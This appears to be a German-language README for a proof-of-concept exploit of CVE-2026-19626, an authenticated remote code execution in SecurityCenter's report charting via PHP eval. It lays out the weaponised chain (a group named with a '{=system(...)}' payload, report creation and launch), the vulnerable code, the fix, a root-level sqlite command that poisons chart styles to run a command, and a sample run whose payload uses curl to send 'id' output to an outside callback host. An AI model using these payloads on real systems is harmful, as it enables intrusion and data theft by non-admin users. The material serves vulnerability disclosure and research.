
Proof-of-concept-Exploit für CVE-2026-19626, eine authentifizierte Remote-Codeausführung in der Berichtsgenerierung von SecurityCenter, die eine Nicht-Admin-Kette über Gruppennamen-Injektion und PHP-eval demonstriert.

Status: BESTÄTIGT — rein-REMOTE, ohne Admin-Rechte, nur REST (6.7.2-14.el9-Labor, 2026-08-21).
Die waffenfähige Kette (das macht poc.py):
POST /rest/group mit name: "{=system('<cmd>')}" — geschweifte
Klammern/Anführungszeichen werden unverändert akzeptiert (der Gruppen-Controller
hat keine Zeichensatzprüfung)POST /rest/reportDefinition — PDF-Bericht, eine pieChart-Komponente,
user/sumgroup-Abfrage, labelColumns: groupIDPOST /rest/reportDefinition/{id}/launchsubstituteParams() den {label}-Platzhalter durch den
Gruppennamen, BEVOR die {=...}-eval-Schleife läuft — das Payload landet im
Format-String und eval("$expr = system('<cmd>');") feuert als tnssystem() wird zurück in das Label eingesetzt — die
Befehlsausgabe wird in die Kreisdiagramm-Legende des fertigen Berichts gerendert
(der Exfiltrationskanal)Marker /tmp/pwn_label von genau dieser Kette erzeugt (kein DB-Zugriff, kein
Style-Schreiben, kein Datei-Upload). Beachte: Die Gruppe mit null Mitgliedern
erzeugt trotzdem ein Kreissegment — die sumgroup-Aggregation schließt sie mit ein.
Zusätzlich bestätigt durch direkten Aufruf und Style-Vergiftung über die gesamte
Pipeline (siehe Historie unten): Die eval-Senke ist im ausgelieferten
substituteParams() aktiv, und ein vergiftetes Standard-legendFormat-Style-Attribut
feuert bei JEDEM Kreisdiagramm-Rendering, einschließlich Berichten, die Nicht-Admins
gehören.
Einschränkung bei der Zustellung (warum der reine-REST-PoC stockt): Das
Inline-style-Objekt der Berichtsdefinition — in dem der PoC
legendFormat/labelFormat platziert — wird unverändert in xmlDefinition
gespeichert, aber beim Rendern verworfen: getReport(CONTEXT_RENDER)
rehydriert Komponenten aus den normalisierten Tabellen und überschreibt
$component['style'] mit StyleLib::getComponentStyle() (abgerufen über
styleID). Der Style-Import-Controller existiert (Styles::add, parst eine
hochgeladene XML-Datei über xmlToStyles, wobei die Nur-Admin-Prüfung
auskommentiert ist), aber keine Route dazu ist exponiert — 12
Verb/Pfad-Kombinationen (style, styles, style::add, style/import ×
POST/PUT/PATCH, mit einem gültigen bereitgestellten Dateinamen) liefern alle
Fehler 10, und das UI-Bundle enthält null Style-Endpunkt-Aufrufe. Die rein-remote
Zustellung erfordert daher einen Style-Schreibpfad, den 6.7.2 nicht exponiert; die
gerenderte Kette wurde direkt über das Style-Attribut demonstriert.
/opt/sc/src/lib/ReportChartingLib.php (SecurityCenter 6.8.0 und früher):
eval("\$expr = {$exprs[1]};") in substituteParams().
Legenden-/Label-Formatzeichenketten von Kreisdiagrammen
($style['legendFormat'] / $style['labelFormat'], Zeilen 4952/4983)
unterstützen {=<arithmetic>}-Platzhalter, z. B. die eingebaute
Standardeinstellung {={sector}+1}. Der Ausdruckskörper ist benutzergelieferter
Inhalt der Berichtsdefinition → beliebiges PHP.eval("\$sectorLabels->setBackground($labelStyle);")
mit labelStyling aus dem Diagramm-Style. Der 6.8.0-Schutz war
if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default — lehnt nur
; ab; system('cmd') kommt durch.if (is_callable($matches['name']))-Gate bei
Balkenform-Spezifikationen wie circleShape(10). system(id) passiert das Gate.
Der Kommentar zum 6.9.0-Fix sagt es unmissverständlich: „is_callable() ist KEIN
sicheres Gate (is_callable("system") === true)."Jeder Org-Benutzer mit Berichtsdefinitions-Rechten erreicht alle drei beim Rendern
(generateReport.php / Jobd). ReportDefinitions::launch() verweigert ROLE_ADMIN —
die Fehlerklasse ist ausdrücklich Nicht-Admin.
Die Befehlsausgabe wird zurück in den Label-Text eingesetzt, sodass der gerenderte Bericht der Exfiltrationskanal ist.
eval() entfernt; {=...}-Ausdrücke auf /^[0-9.\s()+\-*\/]+/ eingeschränkt und
von einem Tokenizer ausgewertet; resolveLabelStyleArgs() parst Label-Styling in
eine Argumentliste; isAllowedBarShapeFunction()-Allowlist mit rein numerischen
Parametern.
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
Gruppennamen-Label-Injektion (die Remote-Kette oben): erstellt die nach dem Payload
benannte Gruppe, baut den sumgroup-Bericht, startet ihn und pollt auf das gerenderte
Ergebnis — die Befehlsausgabe erscheint in der Kreisdiagramm-Legende des fertigen
Berichts. Payload-Einschränkung: keine }-Zeichen (der {=...}-Regex ist
nicht-gierig bis zur ersten geschweiften Klammer); die Befehlsausgabe wird über die
Label-Substitution transportiert, also lies sie aus dem Bericht aus oder verifiziere
sie über Marker/Timing.
style.legendFormat/labelFormat der Definition wird unverändert in
xmlDefinition gespeichert, aber beim Rendern verworfen — Komponenten
rehydrieren Styles aus den Style-Tabellen über styleID (der Render-Kontext von
ReportDefinitionLib überschreibt $component['style'] mit
StyleLib::getComponentStyle()).Styles::add, Admin-Prüfung
auskommentiert, parst eine hochgeladene XML über xmlToStyles), aber keine
Route ist verdrahtet — 12 Verb/Pfad-Kombinationen (inkl. Sub-Ressource
/rest/style/{id}) liefern alle Fehler 10, und das UI-Bundle enthält null
Style-Endpunkt-Aufrufe.{label}-Substitution erfolgt vor
der eval-Schleife, sodass JEDES vom Angreifer beeinflussbare Label (hier der
Gruppenname; Benutzerprofilfelder und Hostnamen gescannter Assets haben dieselbe
Form) das Payload trägt.# direct sink (on-box)
/opt/sc/support/bin/php /tmp/t.php # requires defines+phpchartdir+ReportChartingLib
# style poison (root) + any report launch
/opt/sc/support/bin/sqlite3 /opt/sc/application.db \
"UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
WHERE attribute='legendFormat' AND styleID IN (19,20)"
# restore: DELETE those attribute rows (falls back to built-in defaults)
$ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
[*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
[+] authenticated, token 21137241...
[+] created group carrying payload name (id 9)
[+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
[+] report launched — chart render evals the group-name payload
[*] waiting for output callback ...
[+] command output:
uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0